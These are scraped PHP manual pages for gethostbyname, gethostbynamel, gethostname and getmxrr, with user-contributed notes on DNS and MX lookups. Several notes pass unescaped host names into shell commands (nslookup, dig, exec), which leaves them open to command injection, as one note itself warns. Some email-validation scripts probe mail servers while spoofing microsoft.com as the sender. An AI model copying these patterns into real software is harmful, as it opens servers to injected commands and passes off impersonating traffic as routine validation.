If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com 08-Jun-2001 03:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
andy at occ dot nu 12-Jan-2001 06:48
if the user is sitting behind a proxy server, you can do this;

<?
    if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
        $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
        $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
    }else{
        $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
    }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)
bruno at angelsp dot org 22-Nov-2000 06:20
This is a really usefull function.. I ussualy use it to know the name of the country that the host has.. (.pt, .es, .uk, etc)..

here is a litle idea of what one can do with this..

I get the $ipa with the remote_addr function..

<?php

  $host =  gethostbyaddr($ipa);

  $at        = $host
  $hostdot   = ".";
  $result    = strrchr($at, $hostdot);

  echo "The country is $result";

?>

Of course, if a .com or .org or .net domain name (tld) it won't be a country.. but you can work that out with and if or case statements..

and of course, I can be totally mistaken ;P
fsockopen
gethostbyname
Network Functions


Get the IPv4 address corresponding to a given Internet host name

gethostbyaddr
gethostbynamel
Network Functions
PHP Manual

gethostbyname

(PHP 4, PHP 5)

gethostbyname — Get the IPv4 address corresponding to a given Internet host name

Description

string gethostbyname ( string $hostname )

Returns the IPv4 address of the Internet host specified by hostname.

Parameters

hostname

The host name.

Return Values

Returns the IPv4 address or a string containing the unmodified hostname on failure.

Examples

Example #1 A simple gethostbyname() example

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

See Also

  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

Alexandre (d) 17-Jul-2011 09:28
Important note: You should avoid its use in production.

DNS Resolution may take from 0.5 to 4 seconds, and during this time your script is NOT being executed.

Your customers may think that the server is slow, but actually it is just waiting for the DNS resolution response.

You can use it, but if you want performance, you should avoid it, or schedule it to some CRON script...
nirazuelos at gmail dot com 12-Aug-2009 08:52
This is the best method I've come up with to resolve any host-name to ip-address, it's quick and reliable and has support for timeout! An invalid address, a unicode string for exmaple, returns after 4~ seconds, instead of 8~ with gethostbyname! It works only with unix though.

<?php
function getAddrByHost($host, $timeout = 3) {
   $query = `nslookup -timeout=$timeout -retry=1 $host`;
   if(preg_match('/\nAddress: (.*)\n/', $query, $matches))
      return trim($matches[1]);
   return $host;
}
?>
manalejandro at gmail dot com 24-May-2008 08:59
This logic solution to problem checking dns reverse name resolution:

<?php
$ip = gethostbyname($host);
if(ip2long($ip) == -1 || ($ip == gethostbyaddr($ip) && preg_match("/.*\.[a-zA-Z]{2,3}$/",$host) == 0) ) {
    echo 'Error, incorrect host or ip';
    }
else {
    echo 'Ok';
}
?>
Anonymous 10-Mar-2008 10:09
Better better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short | /usr/bin/tail -1`);
?>

(fix for aliases)
geoff at spacevs dot com 05-Dec-2007 07:37
I put this in a prepend script for all my websites to cut down the amount of abuse by automated scripts.
<?PHP
        $blacklists = array('web.sorbs.net');
        $parts  = explode('.', $_SERVER['REMOTE_ADDR']);
        $ip     = implode('.', array_reverse($parts)) . '.';
        foreach($blacklists as $bl) {
                $check = $ip . $bl;
                if ($check != gethostbyname($check)) {
                                error_log('PHP Security: [DNSBL] - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $bl);
                                die('Put a detailed error here so the client knows why they have been blocked');
                }
        }
?>
Jonathon dot Reinhart at gmail dot com 04-Nov-2007 07:31
In response to Peter <toomuchphp-phpman at yahoo dot com>

$myIP = gethostbyname(trim(`hostname`));

In my situation this did not work. My server is sitting behind a NAT router, so it's IP address was 192.168.1.10.  So when I called your method, it returned 192.168.1.10, and never actually did the lookup.  To resolve this, I wrote this little function:

<?php
    function look_me_up()
    {
        $records = dns_get_record( trim(`hostname --fqdn`) );
        foreach($records as $record)
        {
            if ($record['type'] == 'A')
                $ip = $record['ip'];
        }
        return $ip;
    }
?>

Also note the use of --fqdn.  `hostname` in my case only returned 'hostname' instead of it's fully qualified domain name  hostname.example.com.
Florian Holzhauer 12-Sep-2007 03:02
If name resolution fails with apache2, mod_chroot and php5, add
LoadFile /lib/libnss_dns.so.2
to the mod_chroot config.
guwapo at thedoghouse dot bz 07-Sep-2007 08:25
referring to ralphbolton at mail2sexy dot com comment:

(at least in 5.2.0 + djbdns-dnscache) gethostbyname does not really seem to cache entries. If somebody notices a speed-up after the second lookup of the same domain - that's most likely your dns-cache itself, not some php-internal dns-cache.

It does cache the entries in your /etc/resolv.conf (e.g. what dns to use) so I agree with him, that stopping and starting apache, will reload the resolv.conf.
von at student dot chalmers dot se 20-Jul-2007 03:50
When using PHP and Apache in a chroot environment on RedHat Linux, I have found that I need to bind-mount /var/run/nscd to get this to work. Apparently, the socket in that directory is needed for all the DNS things.
Josh Finlay josh at glamourcastle dot com 04-Nov-2006 06:55
gethostbyname and gethostbynamel does not ask for AAAA records. I have written two functions to implement this. gethostbyname6 and gethostbynamel6. I don't believe this issue has been addressed yet.

They are made to replace gethostbyname[l], in a way that if $try_a is true, if it fails to get AAAA records it will fall back on trying to get A records.

Feel free to correct any errors, I realise that it is asking for *both* A and AAAA records, so this means two DNS calls.. probably would be more efficient if it checked $try_a before making the query, but this works for me so I'll leave that up to someone else to implement in their own work.. the tip is out there now anyway..

Here is the code:

    function gethostbyname6($host, $try_a = false) {
        // get AAAA record for $host
        // if $try_a is true, if AAAA fails, it tries for A
        // the first match found is returned
        // otherwise returns false

        $dns = gethostbynamel6($host, $try_a);
        if ($dns == false) { return false; }
        else { return $dns[0]; }
    }

    function gethostbynamel6($host, $try_a = false) {
        // get AAAA records for $host,
        // if $try_a is true, if AAAA fails, it tries for A
        // results are returned in an array of ips found matching type
        // otherwise returns false

        $dns6 = dns_get_record($host, DNS_AAAA);
        if ($try_a == true) {
            $dns4 = dns_get_record($host, DNS_A);
            $dns = array_merge($dns4, $dns6);
        }
        else { $dns = $dns6; }
        $ip6 = array();
        $ip4 = array();
        foreach ($dns as $record) {
            if ($record["type"] == "A") {
                $ip4[] = $record["ip"];
            }
            if ($record["type"] == "AAAA") {
                $ip6[] = $record["ipv6"];
            }
        }
        if (count($ip6) < 1) {
            if ($try_a == true) {
                if (count($ip4) < 1) {
                    return false;
                }
                else {
                    return $ip4;
                }
            }
            else {
                return false;
            }
        }
        else {
            return $ip6;
        }
    }
chris at chollis dot net 15-Oct-2006 10:57
mmucklo raises a valid point, however the function to use would be getmxrr() in the simplest case, or alternatively checkdnsrr() if you so wish; getdnsrr() does not exist.

On another note, it can be a pain (when iterating with while loops for example) that on failure gethostbyname() returns the hostname, rather than FALSE. You could wrap it in a simple user function, to "correct" this:

<?php

function fixed_gethostbyname ($host) {
    // Try the lookup as normal...
    $ip = gethostbyname($host);
    // ...but if it fails, FALSE is returned instead of the unresolved host
    if ($ip != $host) { return $ip; } else return false;
}

?>
Peter <toomuchphp-phpman at yahoo dot com> 05-Sep-2006 06:33
One way to discover your IP address automatically:

<?php

// need to trim() because whitespace will confuse the name lookup
$myIP = gethostbyname(trim(`hostname`));
echo $myIP;

?>
mmucklo at yahoo dot com 16-Aug-2006 11:05
One note about using gethostbyname() for checking email address domains:

If the name doesn't resolve, follow up with getdnsrr() and make sure they don't have an MX entry before returning an error.

It is possible for a domain name not to have an A record, but still have an MX entry.
Marc M 08-Aug-2006 08:33
Just a heads up. I was using this function on my site to verify email host addresses. I thought all was good, until a potential client contacted me and said they couldn't sign up correctly. They have a valid email address and domain, but this function failed.

Good luck.
ralphbolton at mail2sexy dot com 06-Apr-2006 01:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com 14-Mar-2006 06:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com 21-Oct-2005 09:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com 21-Oct-2005 09:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com 18-Aug-2005 12:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com 26-Dec-2004 12:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
    echo "ip: $host is listed in $rbl\n";
} else {
    echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent 14-Jul-2004 09:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 02:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org 01-Apr-2003 04:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com 04-Jul-2002 07:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
    list($usec, $sec) = explode(" ",microtime());
    return ((float)$usec + (float)$sec);
    }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host<br>";
    }
    else {
        echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com 16-Mar-2002 10:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    testipaddress($nametotest);

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
//Call address test function
    testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host, so host "
             . "not currently available in DNS and "
             . "probably offline for some time<BR>";
    }
    else {
        echo "good hostname, ipaddress = $ipaddress<BR>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
gethostbyaddr
gethostbynamel
Network Functions


Get a list of IPv4 addresses corresponding to a given Internet host name

gethostbyname
gethostname
Network Functions
PHP Manual

gethostbynamel

(PHP 4, PHP 5)

gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name

Description

array gethostbynamel ( string $hostname )

Returns a list of IPv4 addresses to which the Internet host specified by hostname resolves.

Parameters

hostname

The host name.

Return Values

Returns an array of IPv4 addresses or FALSE if hostname could not be resolved.

Examples

Example #1 gethostbynamel() example

<?php
$hosts = gethostbynamel('www.example.com');
print_r($hosts);
?>

The above example will output:

Array
(
    [0] => 192.0.34.166
)

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • checkdnsrr() - Check DNS records corresponding to a given Internet host name or IP address
  • getmxrr() - Get MX records corresponding to a given Internet host name
  • the named(8) manual page

User Contributed Notes

info at methfessel-computers.de 29-Sep-2006 03:27
The solution is simpel. Just add a . (point) to the end of the URL for correct name resolving.

Without this point PHP thinks it's a subdomain of your local domain and so returns the "local-IP".
webdev at concraption dot com 19-Sep-2005 11:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
          echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
Skyld at o2 dot co dot uk 25-Sep-2004 01:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
    $hosts = gethostbynamel($domain);
    for ($chk=0;$chk<$maxipstocheck;$chk++) {
      if (isset($hosts[$chk])) {
        $th = fsockopen($domain, $port);
        if ($th) {
          fclose($th);
          return $hosts[$chk];
          break;
        }
      }
    }
  }
?>
gethostbyname
gethostname
Network Functions


Gets the host name

gethostbynamel
getmxrr
Network Functions
PHP Manual

gethostname

(PHP >= 5.3.0)

gethostname — Gets the host name

Description

string gethostname ( void )

gethostname() gets the standard host name for the local machine.

Return Values

Returns a string with the hostname on success, otherwise FALSE is returned.

Examples

Example #1 A simple gethostname() example

<?php
echo gethostname(); // may output e.g,: sandie

// Or, an option that also works before PHP 5.3
echo php_uname('n'); // may output e.g,: sandie
?>

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • php_uname() - Returns information about the operating system PHP is running on

User Contributed Notes

RoboTamer 21-Nov-2011 07:10
I don't know how you would do this on a win system but us nix users, we can use the native hostname with -f to get a reliable hostname.

<?php
$_SERVER["SERVER_NAME"] =  exec('hostname -f');

?>
JP 31-Mar-2010 12:55
You can use php_uname("n") in Windows to return the host name. You may have worked this out already but it took my a blinkin age!
will dot knauss at gmail dot com 03-Mar-2010 04:43
It looks like this function isn't available on windows.
Here is my code:
<?PHP
$var = gethostname();
IF ($var===FALSE) {
 echo "The function ran but no results were returned!";
}
ELSE {
 echo "The function returned a value\n\r";
 echo $var;
}
?>
I received  an error:
"Fatal error: Call to undefined function gethostname() "
gethostbynamel
getmxrr
Network Functions


Get MX records corresponding to a given Internet host name

gethostname
getprotobyname
Network Functions
PHP Manual

getmxrr

(PHP 4, PHP 5)

getmxrr — Get MX records corresponding to a given Internet host name

Description

bool getmxrr ( string $hostname , array &$mxhosts [, array &$weight ] )

Searches DNS for MX records corresponding to hostname.

Parameters

hostname

The Internet host name.

mxhosts

A list of the MX records found is placed into the array mxhosts.

weight

If the weight array is given, it will be filled with the weight information gathered.

Return Values

Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Notes

Note:

This function should not be used for the purposes of address verification. Only the mailexchangers found in DNS are returned, however, according to » RFC 2821 when no mail exchangers are listed, hostname itself should be used as the only mail exchanger with a priority of 0.

Note:

For compatibility with Windows before this was implemented, then try the » PEAR class » Net_DNS.

See Also

  • checkdnsrr() - Check DNS records corresponding to a given Internet host name or IP address
  • dns_get_record() - Fetch DNS Resource Records associated with a hostname
  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • the named(8) manual page

User Contributed Notes

Robert Imhoff 27-Mar-2011 06:21
I tried using getmxrr() to validate the domain portion of email addresses in enquiry submission forms, and there is a curious effect with some top-level domains when checking non-existant domains.

With sdlkfjsdl.com, since the domain does not exist, getmxrr() returns false, as expected, and the returned mxhosts array is empty.

But with sdlkfjsdl.gov, getmxrr() returns true,  and the returned mxhosts array contains one element: NULL

With sdlkfjsdl.org, getmxrr() returns true,  and the returned mxhosts array contains one element: '0.0.0.0'

With sdlkfjsdl.co.uk, getmxrr()  returns true and supplies one MX record: uk-net-wildcard-null-mx.centralnic.net

So to validate the email domain, it would seem one has to check the returned mxhosts array to exclude the possibility of mxhosts being returned as NULL, 0.0.0.0 and wildcard ...
php [spat] hm2k.org 06-Jan-2009 02:18
I decided to have a bash at this after doing a bit of research...

<?php

// getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
        $i++;
        if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
          $mxweight[$i] = trim($parts[1]);
          $mxhosts[$i] = trim($parts[2]);
        }
        if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
          $mxweight[$i] = $i;
          $mxhosts[$i] = trim($parts[1]);
        }
    }
    return ($i!=-1);
}

// Define
if (!function_exists('getmxrr')) {
    function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
        return win_getmxrr($hostname, $mxhosts, $mxweight);
    }
}

/* example */

$domain='php.net';
echo "<pre>";
getmxrr($domain,$mxhosts,$mxweight);
print_r($mxhosts);
print_r($mxweight);

?>
feha at vision dot to 22-Nov-2008 06:29
On the example below if getmxrr does not exist it will try with fsockopen.
This way it works for windows without getmxrr ...

<?php
function validate_email($email)
{
//by Femi Hasani [www.vision.to]
if(!preg_match ("/^[\w\.-]{1,}\@([\da-zA-Z-]{1,}\.){1,}[\da-zA-Z-]+$/", $email))
return false;

list($prefix, $domain) = split("@",$email);

        if(function_exists("getmxrr") && getmxrr($domain, $mxhosts))
        {
        return true;
        }
        elseif (@fsockopen($domain, 25, $errno, $errstr, 5))
        {
        return true;
        }
        else
        {
        return false;
        }

}
?>
Usefull and simple solution ...
else it can be added fisrt to check os and function than create a widows version of getmxrr  ....
<?php
if(!defined("OS"))
{
@php_uname();//detect server OS
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
{
    define("OS","WIN");//define OS contsant
} else {
    define("OS","Other");
}
}
if(!function_exists("getmxrr") && OS == "WIN")
{

function getmxrr ()
{
your windows version ...
}

}

?>
Hope this helps ...
TZ at inpetho dot net 12-Dec-2007 10:35
If greylisting is installed on the mx host then he send a "451 4.7.1 Please try again later"

My code fragment:

<?php
//...
foreach ($mx_records as $mx_host) {
    $code = CheckMX($mx_host, $eMail);
    if ($code == 0)    continue; // host not found
    if ($code == 451)    $code = CheckMX($mx_host, $eMail); // Greylisting
    if ($code == 250)    {
        $ok = true;
        break;
    }
}
//...

function CheckMX($mx_host, $eMail)
{
    $code = 0;
    $fp = @fsockopen($mx_host, 25, $errno, $errstr, 2);
    if ($fp)    {
        send_command($fp, 'HELO microsoft.com');
        send_command($fp, 'MAIL FROM:<support@microsoft.com>');
        $erg = send_command($fp, 'RCPT TO:<'.$eMail.'>');
        fclose($fp);
        $code = intval(substr($erg, 0, 3));
    }
    return $code;
}
//...
?>
Jay 11-Sep-2007 04:10
As stated, some of the code listed below will have trouble with multiple equal weights, such as if you query gmail.com. The following code will prevent that by switching the key/values.

<?php

// Get the records
getmxrr("gmail.com", $mx_records, $mx_weight);

// Put the records together in a array we can sort
for($i=0;$i<count($mx_records);$i++){
    $mxs[$mx_records[$i]] = $mx_weight[$i];
}

// Sort them
asort ($mxs);

// Since the keys actually hold the data we want, just put those in an array, called records
$records = array_keys($mxs);

// Simply echoes all the stuff in the records array
for($i = 0; $i < count($records); $i++){
    echo $records[$i];
    echo '<br>';
}

?>

If you wanted to get the weight, you would use "array_values($mxs);" instead of "array_keys($mxs);".

Hope this helps some people.
tomhutter at web dot de 20-Oct-2006 12:50
Leonardt's code fails with multiple mx records with the same wight. You can easily change this by switching keys and values in the mxs array:

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_records[$i]] = $mx_weight[$i];
     }

     arsort ($mxs );
     reset ($mxs);

    while (list ($mx_host, $mx_weight) = each ($mxs) ) {

cheers

Tom
php dot net at oitc dot com 14-Oct-2006 05:28
This function has some strange side effects when dealing with aliases...

My function:

        if (getmxrr($fqdn, $mx_records, $mx_weight)) {
            // copy mx records and weight into array $mxs
            // ignore multiple mx's at the same weight
            for ($i = 0; $i < count($mx_records); $i++) {
                $mxs[$mx_weight[$i]] = $mx_records[$i];
            }
            // sort array mxs to get servers with highest priority
            ksort ($mxs, SORT_NUMERIC);
            reset ($mxs);
        } else {
            // No MX so use A
            $mxs[0]= $fqdn;
        }

fails because a $fqdn containing an alias returns a true yet on return both $mx_records and $mx_weight contain nothing!

The solution until this gets fixed is to replace if (getmxrr($fqdn, $mx_records, $mx_weight)) with

        // Handle aliases etc.
        if ($result = getmxrr($fqdn, $mx_records, $mx_weight)) {
            if(!isset($mx_records) || (count($mx_records) == 0)) $result = false;
        }
        // Process MXs
        if ($result) {

Hope this helps others....  Tom
MagicalTux at ooKoo dot org 24-Sep-2006 07:59
If you want to use getmxrr on windows, be careful as choward AT fast DOT net DOT NO SPAM PLZ's function has a security flaw.

It passes its argument to an external command without escaping it. If you don't validate the input, someone may manage to run nasty things on your system.

Here's a fixed version (just added escapeshellarg())

<?php
function getmxrr($hostname, &$mxhosts)
{
    $mxhosts = array();
    exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.escapeshellarg($hostname), $result_arr);
    foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
    return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

This way you'll avoid a lot of nasty things ;)
Lennart Poot(www.twing.nl) 07-Apr-2006 12:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
    }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
    $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
    if (!is_array ($mxhosts) ) {
      $mxhosts = array ();
    }

    if (!empty ($hostname) ) {
      $output = "";
      @exec ("nslookup.exe -type=MX $hostname.", $output);
      $imx=-1;

      foreach ($output as $line) {
        $imx++;
        $parts = "";
        if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
          $mxweight[$imx] = $parts[1];
          $mxhosts[$imx] = $parts[2];
        }
      }
      return ($imx!=-1);
    }
    return false;
  }
}

?>
jeff at pzenix dot com 08-Mar-2006 09:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de 11-Feb-2006 07:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks   = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
    echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
31-Aug-2005 08:16
nice function for validating email-adresses! Take care on "register globals" paramter.

http://www.zend.com/zend/spotlight/ev12apr.php
richard dot quadling at bandvulc dot co dot uk 25-May-2005 02:04
Windows alternative for getmxrr without the need for PEAR.

<?php
define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
if (!function_exists('getmxrr'))
    {
    /*
        This function is a replacement for the missing Windows function getmxrr.

        The parameters are the same as those for the normal getmxrr function.

        The steps this function takes are :

        1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
        2 - Use regular expressions to extract the mail servers and the preference.
        3 - Sort the results by preference.
        4 - Set the return arrays.
        5 - Return true or false.
    */
    function getmxrr($s_HostName, array &$a_MXHosts = NULL, array &$a_Weights = NULL)
        {
        // Simulate all the required network activity by executing windows' NSLOOKUP.
        $s_NSLookup = shell_exec("nslookup -q=mx {$s_HostName} 2>nul");
        preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $s_NSLookup, $a_MXMatches);

        // If there is something to return ...
        if (count($a_MXMatches[2]) > 0)
            {
            // Produce output arrays if they have been requested.
            $i_ArgCount = func_num_args();
            if ($i_ArgCount > 1)
                {
                array_multisort($a_MXMatches[1], $a_MXMatches[2]);
                switch ($i_ArgCount)
                    {
                    case 3 :
                        $a_Weights = $a_MXMatches[1];
                    case 2 :
                        $a_MXHosts = $a_MXMatches[2];
                    }
                }
            return True;
            }
        else
            {
            return False;
            }
        }
    }
?>

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
rune dot heggtveit at devzone dot progative dot com 23-Jan-2005 01:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
      var $dns_socket = NULL;
      var $QNAME = "";
      var $dns_packet= NULL;
      var $ANCOUNT = 0;
      var $cIx = 0;
      var $dns_repl_domain;
      var $arrMX = array();

      function mxlookup($domain, $dns="192.168.2.1")
      {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT   = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

